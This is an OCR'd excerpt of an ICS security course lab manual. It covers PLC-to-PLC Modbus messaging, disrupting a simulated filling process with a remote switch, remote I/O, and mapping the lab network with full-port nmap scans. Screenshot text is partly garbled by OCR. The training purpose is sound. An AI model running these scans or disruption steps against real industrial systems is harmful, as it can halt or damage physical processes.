ESTABLISHED 172.16.1.2 80 172.16.1.203
TIME_WAIT 172.16.1.2 80 172.16.1.203
TIME_WAIT 172.16.1.2 80 172.16.1.203
TIME_WAIT 172.16.1.2 80 172.16.1.203
TIME_WAIT 172.16.1.2 80 172.16.1.203
ESTABLISHED 172.16.1.2 44318 172.16.1.3
ESTABLISHED 172.16.1.2 44818 172.16.1.90
ESTABLISHED 172.16.1.2 443818 172.16.1.203
ESTABLISHED 172.16.1.2 52341 172.16.1.4
ESTABLISHED 172.16.1.2 55365 172.16.1.12

Seconds Between Refresh: E Diszble Refresh with 0.

() () () [ ) [ ) ) oy} )

(=)

~ Rockwell
Automation

Remote Port
1024
2021
12513
15745
25479
49157
49835
51744
44818
502
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1. What is the purpose of the INITIALIZE file in the Click?

2. What is the purpose of the R_Initialize file in the CompactLogix controller?

3. How many enable bits are required to be "On" or "True" to have one of the transaction arrays in the CompactLogix work?

Exercise Takeaways

Communications between controllers require extreme coordination on both PLC's. We have to agree on register definitions, valid
values and we need to have to safeguard if one of the communication end points goes away or is interrupted. While we may use
TCP for reliable transport the data being transported, unpacked, and digested by the PLC's require protocol handshaking. More
modern PLC's can communicate if they have been switched from Run mode to Program mode so they can let their "listeners”
know they are no longer solving PLC code. If you are dealing with older systems it is quite possible you have no indication that a

PLC may be in program mode and no longer solving logic. It's always a good idea to build in a heartbeat so you know what's
going on with your partner PLC.
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Lab 1.8 -- Process Interrupt through Student Kit

Background

Total Lab Time: 30 minutes

Objectives

* Flip Ubox switch to the "On" position and turn on one of the Pod Breakers

+ Using the C-more panel and your Click Plus PLC, disrupt the filling, mixing, grinding or packaging process on the Pod
CompactlLogix PLC.

Task 1 -- Allow Remote Breaker Control

We can use the Useless box switch as a remote input to the CompactLogix PLC. As we discussed in a previous lab, the Useless
box switch is wired to a Click input and that input is being sent via Modbus to the following registers:

+ Click 1 Useless box switch is mapped to CompactLogix Register MBTU_MB_0xx[64]
« Click 2 Useless box switch is mapped to CompactLogix Register MBTU_MB_0xx[164]

We have programmed a button on the PanelView screens to allow remote breaker control for each breaker. Student kit Useless
box 1 controls breaker 1 while student kit Useless box 2 will control breaker 2.

1. From the PanelView, navigate to the "Click Overview" screen by selecting the " c1k[x] PLC " button where [x] is your Click and
Useless box. You will see the " Allow Click[x] Breaker Control"button which allows the Useless Box and Click PLC
combination to control the Pod's breakers. With this button off, the Pod's breakers are controlled locally by the Pod's
pushbuttons or HMI screen. Turn the " Allow Click[x] Breaker Control"button off and operate the breakers with the Pod's
pushbuttons.

Also on this screen is a round status indicator that is grey if your Useless box switch is in the off position or green if the
Useless box switch is in the on position. Turn your Useless box switch off to verify the round status indicator is grey.
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m 172.16.4.3 (PanelView VNC Server) - VNC Viewer

Click 1 Overview

Allow Click1 Breaker
Control

KN

Click 1 Switch On
For Bag Fill

Pod1 Breaker
Exit Clk2 PLC Control

Click 1
Heartbeat
Product Type 1
Type 1 Weight
Product Type 2
Type 2 Weight
Duration

Req Mix/Grind
Filled Weight

Bar Code
Temperature

- O X
Read Write
26228 26229

100 100
50 50
101 101

70 70

80 80

0 0

0 90

0 4018
86 4019

9/1/2019 6:50:56 AM

2. Turn the " Allow Clickl Breaker Control"or"Allow Click2 Breaker Control"button on depending on which Click PLC you
are working with. With this button on, the Pod's breakers are controlled remotely by your Useless box and Click PLC.

3. Turn the " UBox Hack Inhibit " switch to the "On" position on your C-More panel in order to stop the Useless box motor from

engaging and turning the Useless box switch to the Off position.

4. Put the Useless box switch to the "On" position and the Pod's breaker will operate. You should also see the round status

indicator turn green to indicate the Useless box switch is in the "On" position.

m 172.16.4.3 (PanelView VNC Server) - VNC Viewer

Click 1 Overview

Allow Click1 Breaker
Control

=

Click 1 Switch On
For Bag Fill

Pod1 Breaker
Exit Clk2 PLC Control

We have programmed the CompactLogix PLC to inhibit filling, mixing or grinding if the PanelView
"Allow Click "x" Breaker Control"isturned "On" and the Useless box switch is in the "Off" position. In other words, if you
turn the " Allow Click "x" Breaker Control"on without the Useless box turned on, you will not be able to fill, mix or grind.
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Heartbeat
Product Type 1
Type 1 Weight
Product Type 2
Type 2 Weight
Duration

Req Mix/Grind
Filled Weight

Bar Code
Temperature

- O X
Read Write
26228 26229

100 100
50 a0
101 101

70 70

80 80

0 0

0 90

0 4018
86 4019

9/1,2019 6:50:56 AM
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Knowledge Check:

« In this lab you will see the designation Click[x]. The "x" denotes a "1" or "2. Student 1 is assigned to Click1 and student 2 is
assigned to Click2.

- If the "Allow Click[x] Breaker Control" is On, the Pod's breaker(s) are controlled by the Click and the Useless box.
« If the "Allow Click [x] Breaker Control" is "Off", the Pod's breaker(s) are controlled locally by the Pod's pushbuttons or HMI.

« The "Click[x] Switch On for Bag Fill" indicator on the PanelView screen indicates if the Useless Box switch is in the "On" or
"Off" position

- If "Allow Click[x] Breaker Control" is "On", then the filling, mixing or grinding operation will not occur until the Useless box
switch is in the "On" position. We can use the Useless box switch to enable and disable filling, mixing and grinding.

Task 2 -- Remote Inhibit

In the next part of the lab, we want to investigate how the Useless box switch can enable or disable filling, grinding, or mixing. The
Allen-Bradley and Click PLC programs have been written in such a manner that if the " Allow Click [x] Breaker Control'is

turned on and the Useless box switch is off, then the physical Pod breaker(s) will de-energize and the filling, grinding, or mixing
operation will also be disabled.

From the HMI we can tell when the Useless box switch is in the "Off" position because the "Click [x] Switch On for Bag Fill" indicator
will be gray. Where [x] is "1" for student 1, Click 1 and "2" for student 2, Click 2.

m 172.16.4.3 (PanelView VNC Server) - VNC Viewer - Od X
Click 1 Overview
Click 1 Read Write
Allow Click1 Breaker Heartbeat 26228 26229
Control Product Type 1 100 100
On I Type 1 Weight 50 50
Product Type 2 101 101
Click 1 Switch On Type 2 Weight 70 70
For Baa Fill Duration 80 80
Req Mix/Grind 0 0
Filled Weight 0 90
Bar Code 0 4018
Temperature g6 4019
o s B
9i1/2019 6:50:56 AM

We can use the Useless box switch as a safety or an operational inhibit in our ladder logic program. We can program our PLC to
enable filling, grinding, or mixing when the Useless box switch is in the "On" position and inhibit filling, grinding, or mixing when

the Useless box switch is in the "Off" position. We can also use a visual indication to light the physical Red light lit on the Pod to
indicate that the breaker is energized, and the safety condition has been met.
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To summarize

We need the following conditions met in order to fill, grind or mix:
- on the PanelView HMI, the " Allow Click[x] Breaker Control " selected "On". Where [x] is "1" for student 1, Click 1 and "2"
for student 2, Click 2.
+ On the C-more HMI, the " uBox Hack En" switch selected "On" in order to stop the Useless box motor from engaging
* the Useless box switch in the "On" position
* the Pod breaker energized

« the physical Red light illuminated showing that all safety conditions are met so we can proceed to fill, grind or mix.

1. With the " Allow Clickl Breaker Control"or"Allow Click2 Breaker Control"button on depending on which Click PLC you
are working with, enter the product types and values

For Raw Ingredients and Packaging area pods, enter the following values:
* Product 1 Type value of 100
* Product 1 weight value between 1.00 and 5.00
For Mixing and Grinding Area pods, enter the following values:
* Product 1 Type value 100
* Product 1 weight value between 1.00 and 5.00
* Product 2 Type value between 101
* Product 2 weight value between 1.00 and 5.0
* Mix / Grind Time 8.0 second

2. Using your C-more panel, attempt to fill, mix or grind with your Useless box switch in the "On" position. You should see your
filling, griding, or mixing status indicate that you are indeed filling, grinding or mixing. Move to the "Actuals” screen, which
proceeds the Product Selection screens, and you will see the weight of the bag increasing. If you do not see the weight
increasing on the Actuals C-More screen, then you can trouble shoot the following:

3. Verify you have " Allow Click[x] Breaker Control""On"where [x] is either Click 1 or Click 2 depending on your student
assignment. Verify the Useless box switch is in the "On" position and the round status indicator is Green.

Lastly, you can check that your Useless box switch input is being read by the Allen-Bradley CompactLogix PLC in
MBTU_MB_0xx[64] if you are student 1 or MBTU_MB_0xx[164] if you are student 2.
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[B File Edit View Search Logic Communications Tools Window Help - & x
EEE Y TR AY
Rem Run [ ™ Run Mode Path: [AB_ETHIP4\172.164.2 - | =]

No Forces >, I! Controller OK
No Edts 3| = 5";&’(5“"39& K T S N

i) ]\ Favorites {"Add-on £ Alarms £ Bt X Tmer/Counter A 1|
Controller Organizer > B X | Scope: | @MiingPods | Show: Al Tags o[ vl
= ‘Sntw”er MixingPod4 A Name —z/e [ Vale «[Force Mask | Syle Data Type Description Consti A Properties 7
&} Controller Tags MBTU_MB_Goxf41] [ Decimal BOOL Local data storag Sul ALl =
(3 Controller Fault Handler T . 82| B # |[ptendedprs
MBTU_MB_Gxxf42] 0 Decimal BOOL Local data storag =
‘ [ Power-Up Handler METOINEIOS] General
|_MB_0xx[43) 0 Decimal BOOL Local data storag N MBTU_MB_Gxx
(-5 Tasks lame _MB_(
8 MainTask METUTMBIS 4] 0 Decimal BOOL Local data storag Description  Local data storag...
g & 28 MaimProgram MBTU_MB_0xx[45] 0 Decimal BOOL Local data storag Usage <controller
9 MBTU_MB_(xx[46] 0 Decimal BOOL Local data storag Type Base
Parameters and Local Tags
B MainRoutine MBTU_MB_0xx[47] 0 Decimal BOOL Local data storag Alias For
Base T:
MixOrGrindPodClickl MBTU_MB_0xx[48] 0 Decimal BOOL Local data storag D;: T:pge T
B MixOrGrindPodClick2 MBTU_MB_Gaxf49) 0 Decimal BOOL Local data storag coone @ oangPod
R_Initialize MBTU_MB_0cx[50] 0 Decimal BOOL Local data storag Etena Aoos— Resd/Wite
R_Modbus_Parsing MBTU_MB_0xx[51] 0 Decimal BOOL Local data storag Style Decimal
-39 T_BreakerCtrl MBTU_MB_0xx[52] 0 Decimal BOOL Local data storag Constant No
£-E8 P_BreakerCtrl MBTU_MB_0c[53] 0 i A Equired
Parameters and Local Tags MBTU_WB_0o54] 5| [ 1721643 (PanelView VNC Server) - VNC Viewer u} P e
B R BreakerRoutine MBTU_MB_0xx[55] o Click 1 Overview -
=8 T_ModbusCtrl MBTU_MB_0xx[56] 0 Click 1 Read Write |1
-3 P_ModbusMasterTCP MBTU_MB_0[57] 0 Allow Click1 Breaker Heartbeat 22808 22810 e
55 :Jnsc:eduled Programs / Phases MBTU_MB_0ox(58] 2 Control Product Type 1 100 10 [Ee=esCommectonsli(c
- otion Groups MBTU_MB_0xx[59] 0 Type 1 Weight a0 50
[ Ungrouped Axes =, On ¥p 4
&= Add-O?\ \:sZruct-nns AU 2 Product Type2 101 101 |
£ Add-0 v MBTU_MB_Ga(61] 0 Type 2 Weight 70 70
< > MBTU_MB_0cxi62] 0 Click 1 Switch On
= For Bag Fill Duration 80 80
MBTU_MB_0u(63] 0 orbag
MBTU-MB-Ckx[“l 3 Req Mix/Grind 1] 0
== Filled Weight 0 110
MBTU_MB_0xx[65] 0 ille ‘eigl
MBTU_MB_0ex(56] 3 Bar Code 0 4018
T Temperature 86 4019
MBTU_MB_0xx[67] 0 Pod1 Clk2 PLC Breaker
MBTU_MB_0u(68] ) E Control 9/112019 6:55:57 AM
<« \Mo'l‘;torT;o; AEditTags / ] < : o > |
Errors. v X
Linking routine '_SUB_Byte2ST' of program 'P_ModbusMasterICE' ~
Linking routine '_SUB_CheckPollInterval' of program 'PB_ModbusMasterTCP'
Linking routine '_SUB_Int2ST' of program 'P_ModbusMasterTCP'
Linking routine '_SUB_SET_PATH' of program 'P_ModbusMasterTCP'
Finalizing download...
Reading Changelog...
Complete - 0 error(s), 0 warning(s)
v
< > < >
T&= Controller Organizer fi, Logical Organizer [@ Errors (@) Search Results 2] Watch
=

4. After you can successfully fill, grind, or mix then flip your Useless box switch to the "off" position. You should see the weight
measurement on the C-More's Actual's screen stop. This indicates that the safety condition is no longer met and therefore
filling, grinding or mixing should stop. If you return the Useless box switch back to the "on" position, the filling, grinding, or
mixing should resume.

In summary

With the " Allow Click[x] Breaker Control " setto "On, where [x]is 1 for student 1 or 2 for student 2, then the Pod's breakers
are controlled by the Useless box and Click PLC. If this button is selected to "Off", then the Pod's breakers are controlled locally
by the Pod's pushbutton and HMI.

If the Pod's breakers are not energized as indicated by the physical Red light, then filling, mixing or grinding will not occur.

1. What would happen if the CompactLogix PLC loses communication with the Click? Would filling, mixing or grinding occur?
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2 What routine is responsible for controlling the breakers?

3. Why are there timers to control the amount of time a breaker closed or breaker open command is given?

Exercise Takeaways

Remote I/0 is commonly seen within modern PLC architectures and in this particular lab we see the Click Plus PLC operates
autonomous but sends the Useless switch I/0 status via Modbus TCP. Directly connected I/0 is used when timing requirements
are critical but messaging between PLC's like we are doing in this lab is common when non-time sensitive information is needed
by a subscribing PLC. We should note, the CompactLogix PLC operates asynchronous from the Click Plus PLC so the messages
between the two PLC are not synchronized and therefore should not be trusted in critical closed loop systems because the time
delta used for mathematical calculations are most likely unknown.
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Lab 1.9 -- Local Process Environment Mapping

Background

Total Lab Time: 10 minutes

Objectives

« Identify IP devices currently visible in the network segment.
+ Identify open ports and available services running on ICS assets.
Task 1 -- Scan network with ZenNmap

1. Launch Zenmap from the windows virtual machine. Either type Zenmap in the search bar or scroll down in the application

navigator and go to the nmap folder.

A

Nmap -
Zenmap GUI

2. Initiate a quick scan by entering the classroom pod network ranges : 172.16.1.xxx —172.16.12.xxx With all students scanning
all networks and all devices, select a quick scan.
The Nmap syntax for multiple networks and ranges within a network is 172.16.1,2,3,4.1-254. This will scan the Pod 1, 2, 3, and
4 subnets and all devices 1-254 within those subnets.

*+ Zenmap

Scan Tools Profile Help

Target: | 172.16.1,2,3,4,5,6,7,8,9,10,11,12.1-254 v | Profilee  Quick scan v
Command: nmap -T4-F 172.16.1,2,3,4,5,6,7,8,9,10,11,12.1-254

Hosts Services Nmap Output Ports / Hosts Topology Host Details Scans

0S 4 Host - nmap -T4 -F 172.16.1,2,3,4,5,6,7,8,9,10,11,12.1-254 v Details

3. Once you have entered the " Target: " syntax, click " scan '
Once the scan is complete, you will see an "nmap done" indication in the "Nmap Output" window.
4. Look at the ports and services identified on the various PLC's, PanelView's, and Remote I/0 using this type of scan.

5. Run an Intense all TCP port Zenmap scan, but now only scan the PLC, PanelView, and Remote I/0 module in your Pod subnet.

Target syntax

nmap -p 1-65535 -T4 -A -v 172.16.(Pod #).2,3,4
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*+ Zenmap

Scan Tools Profile Help

Target:  172.16.1.23,4 v | Profile: | Intense scan, all TCP ports
Command: | nmap -p 1-65535-T4-A-v172.16.1.23 4

Services Nmap Output Ports / Hosts Topology Host Details Scans

0S ¢ Host a nmap -p 1-65535-T4 -A -v 172.16.1.2,3 4

6. Now investigate the identified ports and services that have been identified with these Nmap settings.
7. As a final step repeat the above scan in command line so you are comfortable with performing Nmap scans without the GUI.

Go to the windows application launcher and type cmd -- open Command Prompt. At the command prompt type

nmap -p 1-65535 -T4 -A -v 172.16.(Pod#).2,3,4

[
B Command Prompt - nmap -p 1-65535 -T4 -A -v 172.16.1.2,3,4

Microsoft Windows [Version 10.0.17763.678]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\ICS612.DESKTOP-IKAR6OK>nmap -p 1-65535 -T4 -A -v 172.16.1.2,3,4

Note

Running nmap on a production ICS network or against an ICS asset can cause impacts to the operations and should
therefore not be used in running production systems. Conversely, it is still ideal to know what ports and services are
available on these ICS assets. Therefore, use nmap in a controlled environment, such as in a lab or, if planned

appropriately, during the commissioning of a system or device.

1. How many assets are connected to your pod?

2. What different assets show up in the Nmap scan that did not show up with the previously performed RSLinx scans?

3. Is it "safer" to run an RSLinx scan or an Nmap scan on the Rockwell assets and why?
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Exercise Takeaways

Most ICS assets will withstand simple "ping" queries without incident however more aggressive scanning can cause an ICS asset
to have communication failures. One way to avoid causing an issue with traditional scanning tools is to look at the vendors
toolsets and determine the health of the ICS asset. For instance, a PLC CPU might be highly loaded and may not withstand a
simple Nmap scan while the same lightly loaded PLC may respond to an Nmap scan just fine. Before conducting network scans,
work with the ICS vendor tools to determine the health of the assets.

© 2022 Jeffrey Shearer, Jason Dely, Tim Conway, and Chris Robinson 149



Lab 2.1 -- Connect Pods to Level 3 Infrastructure
Background

Background
Total Lab Time: 15 minutes

Until now, you have been working with your local Student kit ICS assets and the pod's CompactLogix PLC and the PanelView HMI.
We will now connect the Stratix 5700 Ethernet switch to the Cisco 9300 Layer 3 switches.

You have been assigned an area of the plant and therefore you have been assigned IP Addresses for your Click PLC, your student

laptop as well as you already know the IP Addresses of your CompactLogix PLC, the PanelView HMI, the Stratix 5700 switch and
the remote Point I/0 blocks.

Objectives

+ Connect Pods to a central L3 switch at the front of the room and monitor for connectivity to all pods

Task 1 -- Verify classroom connectivity

1. Ensure the classroom Ethernet cable (white) from the in-classroom server rack to your Pod and is connected to the Stratix
5700 Ethernet switch Gigabit port 1 indicated by the Red box pictured below.

snmndig
T

2. Open up RSLinx and you should be able to expand all pod Ethernet /IP devices and see all PLC's, Stratix 5700 switches,
PanelViews and Point I/0 blocks
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&4 RSLinx Classic Lite - RSWho - 1 = O X
File View Communications Station DDE/OPC Security Window Help

.?’_r;l ot

3= RSWho - 1
vV Autobrowse Refrest I f_‘clln[m Browsing network
== Workstation, DESKTOP-BR131UQ N B I - =
&5 Linx Gateways, Ethernet 1 w3 =
=-&5 AB_ETHIP-1, Ethernet 172.16.10.2 172.16.10.252 172.16.10.3 172.16.104

f) 172.16.1.2, 1769-L18ER-BB1B LOGIX5318ER, 1769-L18ER/B LOGIX5318ER 1769-L18ER... 1783-BMS1... PanelVie.. 1734-AEN...
: ﬂl 172.16.1.252, 1783-BMS10CGL Stratix 5700, 1783-BMS10CGL Stratix 570
B 172.16.1.3, PanelView Plus_7 Standard 400W, PanelView Plus_7 Standard
g 172.16.1.4, 1734-AENT/C Ethernet Adapter, 1734-AENT/C Ethernet Adapt

ods
fl 172.16.10.2, 1769-L18ER-BB1B LOGIX5318ER, 1769-L18ER/B LOGIX5318ER
; ﬂl 172.16.10.252, 1783-BMS10CGL Stratix 5700, 1783-BMS10CGL Stratix 570
; = 172.16.10.3, PanelView Plus_7 Standard 400W, PanelView Plus_7 Standard
g 172.16.10.4, 1734-AENT/C Ethernet Adapter, 1734-AENT/C Ethernet Adap

=5 AB_ETHIP-11, Ethernet

&5 AB_ETHIP-12, Ethernet

&5 AB_ETHIP-13, Ethernet

25 AB_ETHIP-14, Ethernet

&5 AB_ETHIP-15, Ethernet

25 AB_ETHIP-16, Ethernet

@#-&5 AB_ETHIP-2, Ethernet

&5 AB_ETHIP-3, Ethernet

&5 AB_ETHIP-4, Ethernet

&5 AB_ETHIP-5, Ethernet

25 AB_ETHIP-6, Ethernet

< >

For Help, press F1 [ [06/22/20 [02:40PM

Specifically, the Cisco switches have been configured to allow directed broadcast on each VLAN in order for RSLinx to be able to
discover devices across all VLANS

Per Rockwell Automation's technical knowledgebase articles, VLAN segmented networks require additional switch configuration.
IP directed broadcast needs to be configured in the layer 3 switch / router to see devices from other VLANs when using the
EtherNet/IP driver because EtherNet/IP uses broadcast for discovery.

Task 2 -- Download ladder logic

1. Coordinate between either Student 1 or Student 2 to download your area's Studio 5000 program. Open and download the
associated ACD project file for your Pod within the folder Lab Files\Lab 2.1\Allen-Bradley\Pod(#)\ .

Example

If you are in the Raw Ingredients area and you are on Pod 2, you will open and download the ACD project file within the
folder Lab Files\Lab 2.1\Allen-Bradley\Podo1\ .
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Each area CompactLogix controller program has been configured to look at the other pods assigned to their area to send and
consume data from each other's pods. The CompactLogix controllers support a "Produce” and "Consume" model where one

CompactLogix controller can produce data to a consumer and vice versa it can "Consume" data from a CompactLogix

controller that is producing data.

Tag Name

LocalPodProduceTag

“Producer

)

|
|

H LC

EEE P
=== “Consumer”
=

E—E‘ o eess PLC
_ “Consumer”

a

=23

r — e

- ‘CoOnsumer
-

Tag Name Data Type
LocalPodConsumeTag DINT

Tag Name Data Type
LocalPodConsumeTag DINT

Tag Name Data Type
LocalPodConsumeTag DINT

Once all the pods have been downloaded with their Section 2, Lab 1 Studio 5000 file, each student should be able to look in
the LocalPodConsumeXX[0] through LocalPodConsumeXX[8]. "XX" is equal to the Pod # of the data array you are consuming.

For instance, in our example we see LocalPodConsume02 represents consuming data from Pod 02. If your array is

LocalPodConsume08, then you would be consuming data from Pod 08.

In the example below, Pod 1 is consuming data from Pod 2. The tag array name is "LocalPodConsume02" it is an array of 9

integers (starting at location [0]. The value in array location [0] is the temperature probe from Click 1 that is reading 86.

"-LocalPodConsume02

'+ LocalPodConsume02[0]

o

—
.
.
Co |
)

'+ LocalPodConsume02[1]

'+ LocalPodConsume02[2]

1+ -LocalPodConsume02[3]

+-LocalPodConsume02[4]

+LocalPodConsume02[5]

'+ LocalPodConsume02[6]

'+ LocalPodConsume02[7]

N\t LocalPodConsume 28]

— LocalPodProduceAray

.
.
VbNNNNNO

—~—
.

1+ -LocalPodProduceAray{0]

4009

0
=

o

'+ LocalPodProduceAray[2]

1+ -LocalPodProduceAray{3]

'+ -LocalPodProduceAray[4]

'+ -LocalPodProduceAray[5]

+-LocalPodProduceAray(6]

'+ -LocalPodProduceAray[7]

'+ LocalPodProduceAray[8]

=]~
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If we continue to look at our example, looking at the "LocalPodProduceArray", we are producing this array to the interested
clients. From this screen shot, we cannot tell which pods maybe consuming our data. We can limit the number of subscribers
in a configuration option not shown in this screen capture.

= LocalPodConsume02 et
+ LocalPodConsume02[0] 86
+ LocalPodConsume02[1] 0
+ LocalPodConsume02[2] 2
+ LocalPodConsume02[3] 2
| LocalPodConsume02(4] 2
+| LocalPodConsume02(5] 2
2
2
2
}

I+

I+

I+

I+

o

(prm}

)

+-LocalPodConsume02[6]

+ LocalPodProduceAmay[0] 4009

[+ -LocalPodProduceAray[1] 8

T

[+ -LocalPodProduceAray[2]

1

[+ -LocalPodProduceAray[3] 1
+-LocalPodProduceAray[4] 1
1

1

{ra|

I+

+-LocalPodProduceAray[5]
+-LocalPodProduceAray[6]

+-LocalPodProduce Aray[7] 1
&l-bchodedmﬂ, 8] J/

2. Making sure you have downloaded Section 2, Lab 1 Allen-Bradley PLC file and are online with your Pod's CompactLogix PLC,

)

e

open the Controller Tags window. Scroll down to LocalPodConsume[xx] where "xx" represents the Pod number of the data you
are consuming. You should see the temperature reading from the Click PLC's thermocouple that is connected to the Pod you
are consuming data from. Go ahead and walk over to the Pod's Click you are consuming and verify the temperature reading.
You can ask the person whose data you are consuming to hold onto the Click's thermocouple to watch the temperature
change.
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We also see that we are producing the array data named "LocalPodProduceArray”. Temperature readings from the Click 1 and
Click 2 PLCs' are copied into array value [0] and [1] respectively for the subscribers or consumers to use. Go ahead and hold
onto your Click PLC's thermocouple and watch the temperature data change.

(<]
o |

NI (D DO
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Producing data to interested consumers is a typical method to send data from lower-level automation devices to other PLC's
that require data. This method reduces the need for lower-level automation devices to support multiple connections from
interested data consumer but rather allows the PLC to produce the information on behalf of the lower level and possibly lower
horsepower device.

1. What indication did you see from Studio 5000 if one of the pods are not communicating?

2. If we look in the Studio 5000 CompactLogix programming environment, why are the other Pod PLC's mapped under the I/0
configuration tab?

3. What is a possible purpose of Controller to Controller communications?

Exercise Takeaways

When we connected our Pods together, we start to connect our "System of Systems". Peer to Peer messaging, Produce and
Consume tags configurations and programming the PLC's from anywhere becomes possible. It also starts to open up our PLC
and HMI systems to traffic from the Enterprise and other parts of our plant. We can start to see how connectivity for data sharing
is powerful but also simple DoS attacks and unwanted traffic can affect our PLC systems.
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Lab 2.2 -- Remote I/0
Background

Background

Total Lab Time: 10 minutes

Objectives

» Connect Pods to remote I/0 and monitor

Task 1 -- Monitor Remote I/O for open circuit

On each pod there are Point I/0 also know more commonly as remote I/0. Remote I/0 simply means "remote from the PLC's
backplane. In this particular case, there are two remote I/0 cards, the left card is an analog input module that will measure
0-10VDC. The right remote I/0 card is an analog output card that is capable of 0-20ma or 4-20ma.

=

V X — "v
70 VIO iy g
‘/.'!J}]j : " ' }Jl! Ia

In order for the CompactLogix to understand it's supposed to control remote I/0, there is an /0 Configuration section in the
Studio 5000 programming suite. The ladder logic designer will map these remote I/0 points into the program through a module
selection wizard that include the IP Address of the remote I/0 adapter. We will now look at the remote I/0O mapping.

1. Open your Studio 5000 programming software and open your last project and go online. If you are in the Raw Ingredients
area and you are on Pod 2, you will go to the Allen-Bradley Ladder Logic folder, Section 2 Lab 1 and open
RawPod@1Labe2.1.acd and go online with your CompactLogix controller.
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2 Once you are online, open up Controller Tags and scroll down to the tags named "Pod[x]RemotelO:2:1" where "x" is your pod
number.

3. If you expand that tag, you will find each channel has a fault bit named "Pod[x]RemotelO:2:.Ch#Fault" where "x" is the pod
number and # is the channel number. If you have an open circuit, you will see this fault bit go from a "0" valueto a "1" value. If
the wiring does not have an open circuit and is wired as expected, you will see this fault bit have a value of "0".

In our example below, channel 0 does not have a fault where channel 1 does have a fault. If you have an open circuit, you will
either need to check the wiring of the LED to make sure the connections are tight, or your LED is burned out and you will need

a new LED.
Note
In most cases if you have a fault the LED wires are not firmly connected to the terminal strip. Please check with your
instructor to have an interactive troubleshooting session to solve the issue.
8 Logix Designer - RawPod1 in RawPod10901 Lab02.1.ACD [1769-L18ER-BB1B 24.13] - [Controller Tags - RawPod1(controller)] — o X
(D) File Edit View Search Logic Communications Tools Window Help - 8%
SH & ¥BRE © o RCikiTemp v 2B G [Ek ¥R Q| |secogpoe.. v 8
Rem Run [l ™ Run Mode WM o [ ETHPIVIZZ1612  v| &
Moo »_| M Controfer OK L’_'
| 7 Energy Storage OK O R e A e N\
folEds W 100K
81 < >R avortes £7 Pod[xx]RemotelO:2:C.ChOFaultValue
Controller Organizer = 8 X[ scope: [ @rRawroat ] snow: [ Tass /' v|
= (:']lzm Types ~ Name £ Con: A Properties 2
O3 User-Defined B 021 7L ooy o] R81734 OE210 92l @ # ||Edendedpr v
i C3f Strings '+ Pod1Remotel0:21 Faul 2$0000_0000_0000_0000_.... | DINT o8 24 | |Extended Pr v
Cj# Add-On-Defined z === i = General )
& l:aﬂredefmzd I 0 0 o Name Pod1Remotel0:2
@ Cjf Module-Defined ool WD”"“"""
£ Trends
Ty, Logical Model  Pod1Remotel0:2:1. ChOLAlam 0 Decimal BOOL Tmr Base
=-£31/0 Configuration Pod1Remotel0:21 ChOHAlam 0 Decimal BOOL ::‘: :v
& @ Pointi0 . = e N W i
() (0] 1769-L13ER-BB1B RawPod1 1 2 BOOL e @RanPod]
=5 Embedded I/0 1 BOOL et Aooo.. | Read/Wite
@ [1] Embedded Discrete 10  Pod1Rematel0:21Ch1 of 800L Stye Decmal
€3 Bxpansion 1/0, 1 Module CF 10:21.Ch of BOOL Constant No
0 (2] 1734-OW4/C BreakerContact =1 10:20 N Y Requred
&5 Ethernet + Pod1Rematel0-20 ChiData L istle
) 1765-L16€R BB1B RawPod? ramemozoome N Pod[xx]RemotelO:2:C.Ch1FaultValue % Data
- @ 1734-AENT/B Pod1RemotelO 1 8
= @3 PointlO 3 Slot Chassis ) &
@ (0] 1734-AENT/B Pod1Remot - — ' Parameter Connections {00}
0 (1] 1734-1E2v/C Pod1Al Tl oo TIMER Gk 01 Commery. |
J [211734-082€/C Pod1AO 3 [ ) TIMER (Gick 02 Communi..
(& 1769-L18ER-BB1B Pod02Controller v ThrowActualBagWAEror 0 Decimal BOOL Thow Actual Bag
< > ThrowBagFile 0 Decimal BOOL Throw a Bag Fille...
ThrowCk 0 Decimal BOOL Throw Click 1 Tim...
ThronCh 1MocGrindStatusEror 0 Decimal BOOL Gick 1 Manualy T
ThrowClk 2Dy 0 Decimal BOOL Throw Click 2 Tim
ThrowCk 0 Decimal BOOL Cick 1 Manualy T.
0 Decqu BOOL Throw Fill Bag Eﬂor
ThrowFinalBagWiEmor 0 Decimal BOOL Thvow Fnal Bag . |
ThrowProd2WtEmor 0 Decimal BOOL Throw Product 2 ...
ThrowProd Type2Emor 0 Decimal BOOL Throw Product Ty.
ThrowProd TypeEsor 0 Decimal BOOL Throw Product Ty.
ThrowProdWtError 0 Decimal BOOL Throw Product W...
Throw ToteEsor 0 Decimal BOOL Throw Tote Eror
L 1 0 Decimal BOOL Useless box com.
1Mem 0 Decimal BOOL Useless box Close.
0 Decimal BOOL Useless box com.
0 Decimal BOOL Useless box Cose...|
< > 1 0 Decimal BOOL. Useless Box Open
= 1 n Norimal RONI 1 laslace Ry nen Y
[t= Controller Organizer T, Logical Organizer 4 » \ Monitor Tags A Edit Tags / < >
Ready =
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Task 2 -- Send analog values from PLC to Remote I/O

1. Each analog output channel has an LED with a built-in resistor connected to each channel respectively. You will take turns

sending current to each channel to illuminate the LED.

2. Start with Pod[x]. Remotel0:2:0:CHOData with a value of zero where "x" is your Pod number.

& Logix Designer - RawPod1 in RawPod 10901 Lab02.1.ACD [1769-L18ER-BB1B 24.13] - [Controller Tags - RawPod1(controller)]
File Edit View Search Logic Communications Tools Window Help

BEE & e o o [UR.C"C“T'"‘D Vl S8 G EBh VY @ Select language... V| 9 ‘
Rem Run [ ™ Run Mode -m-\ Path: [AB_ETHIP-1\172.16.1.2" -] §5|
No Forces >, M Controller OK ‘
No Edis %J:%ﬁﬂmm | HE e AR >
[ - i} ‘ 1\ Favorites £ Add-On £ Safety A Alarms A Bi £ TmercC
Controller Organizer > 3 X (| scope: I @RawPod1 | Show: 1,5] Tags v “ Y.
-3 Data Types A Name =z2[o [ Value «[Force Mask  «[Style Data Type Description Con:
5 Cif User-Defined = Pod1Remctel021 el = AB:1734_OE2.:0
5 G Strings ) + Pod1RemotelO:2:| Fault 240000_0000_0000_0000_. . . Binary DINT
QAdd-o_n-oef.ned 4 Pod1Remotel0 21 ChiSiatuz = SINT
| @ g:ﬂ":"l'“‘;ef 4 " PodiRemotel0:21 ChoFaef| |BooL
B “rodiremac2ichoca  Pod[xx]Remotel0:2:0.ChOData [BooL
T Logical Model ' Pod1Remotel0:2:.ChOLAI{ . |BooL.
&.E51/0 Configuration “roairemae2ichordl  Pod[xx]Remotel0:2:0.Ch1Data [BooL
(=-&3 PointlO '+ Pod1Remotel0:2:1.Ch15taf |SINT
